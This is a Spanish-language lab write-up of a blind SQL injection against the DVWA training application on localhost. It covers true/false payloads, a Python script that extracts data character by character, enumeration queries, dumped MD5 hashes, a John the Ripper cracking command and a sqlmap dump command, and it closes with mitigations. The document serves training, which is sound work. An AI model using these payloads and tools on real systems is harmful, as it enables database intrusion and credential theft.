- Aplicación objetivo: DVWA (Damn Vulnerable Web Application)
- Módulo: SQL Injection Blind
- URL: http://localhost:8080/vulnerabilities/sqli_blind/
- Nivel de seguridad: Bajo
🎯 Objetivo
Identificar y explotar una vulnerabilidad de SQL Injection Blind para extraer información sensible de la base de datos sin acceso directo a los resultados.
🧪 Entorno de Trabajo
- Navegador web
- Python (
requests) sqlmap- John the Ripper
🔍 Fase 1 – Identificación
Se prueban valores en el parámetro id:
1→ User exists6→ User missing
👉 Se detecta comportamiento diferencial basado en la existencia de registros.
💣 Fase 2 – Confirmación de SQL Injection Blind
🔹 Payload verdadero
1' AND 1=1 --
✔ Resultado: exists
🔹 Payload falso
1' AND 1=2 --
❌ Resultado: missing
📌 Conclusión
Se confirma una vulnerabilidad de tipo:
👉 Boolean-based Blind SQL Injection
🔎 Fase 3 – Extracción Manual
🔹 Longitud de la base de datos
1' AND LENGTH(database())=4 --
✔ Resultado: exists
👉 Longitud = 4
🔹 Extracción carácter a carácter
SUBSTRING(database(),posición,1)
Resultado final:
dvwa
🤖 Fase 4 – Automatización con Python
Para optimizar la extracción, se desarrolló un script que automatiza el proceso de inferencia.
⚙️ Script utilizado
import requests
import stringurl = "http://localhost:8080/vulnerabilities/sqli_blind/"cookies = {
"PHPSESSID": "TU_SESION",
"security": "low"
}chars = string.ascii_lowercase + string.digits
resultado = ""for position in range(1, 35):
for char in chars:
payload = f"1' AND SUBSTRING((SELECT database()),{position},1)='{char}' -- "
params = {
"id": payload,
"Submit": "Submit"
} response = requests.get(url, params=params, cookies=cookies) if "exists" in response.text:
resultado += char
print(f"[+] Carácter encontrado: {char}")
breakprint(f"\n[+] Base de datos: {resultado}")
🔍 Funcionamiento
- Itera por cada posición del string
- Prueba caracteres posibles
- Detecta respuestas TRUE/FALSE
- Reconstruye el valor completo automáticamente
💥 Resultado
dvwa
✔ Extracción automatizada exitosa
🗂️ Fase 5 – Enumeración de Tablas
SELECT table_name FROM information_schema.tables
Resultado:
- guestbook
🧩 Fase 6 – Enumeración de Columnas
SELECT column_name FROM information_schema.columns WHERE table_name='users'
Resultado:
- user_id
🔐 Fase 7 – Extracción de Credenciales
SELECT user, password FROM users
Resultado:
- admin → 5f4dcc3b5aa765d61d8327deb882cf99
- gordonb → e99a18c428cb38d5f260853678922e03
- pablo → 0d107d09f5bbe40cade3de5c71e9e9b7
🔓 Fase 8 – Cracking de Contraseñas
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Resultados:
| Usuario | Contraseña |
|---|---|
| admin | password |
| gordonb | abc123 |
| pablo | letmein |
| 1337 | charley |
⚙️ Fase 9 – Automatización con sqlmap
sqlmap -u "http://localhost:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=XXX; security=low" \
-D dvwa -T users --dump
💥 Resultado
- Dump completo de la tabla
users - Extracción automatizada de credenciales
- Posibilidad de cracking automático
⚠️ Impacto
Un atacante puede:
- Extraer información sin output visible
- Obtener credenciales
- Automatizar completamente el ataque
- Comprometer la base de datos
🛡️ Mitigaciones
- Uso de Prepared Statements
- Validación de entradas
- No confiar en datos del usuario
- Implementar WAF
- Uso de hashing seguro (bcrypt, Argon2)
🧾 Conclusión
La aplicación es vulnerable a SQL Injection Blind, permitiendo la extracción de datos mediante inferencia booleana.
Se ha demostrado:
- ✔ Extracción manual
- ✔ Automatización con scripting
- ✔ Uso de herramientas profesionales
👉 Escenario realista de compromiso completo de base de datos.
🚀 Nivel Técnico Alcanzado
- ✔ SQL Injection Blind
- ✔ Boolean-based exploitation
- ✔ Automatización con Python
- ✔ Uso de herramientas (sqlmap, cracking)
🔥 Resultado Final
Explotación completa mediante inferencia + automatización exitosa.
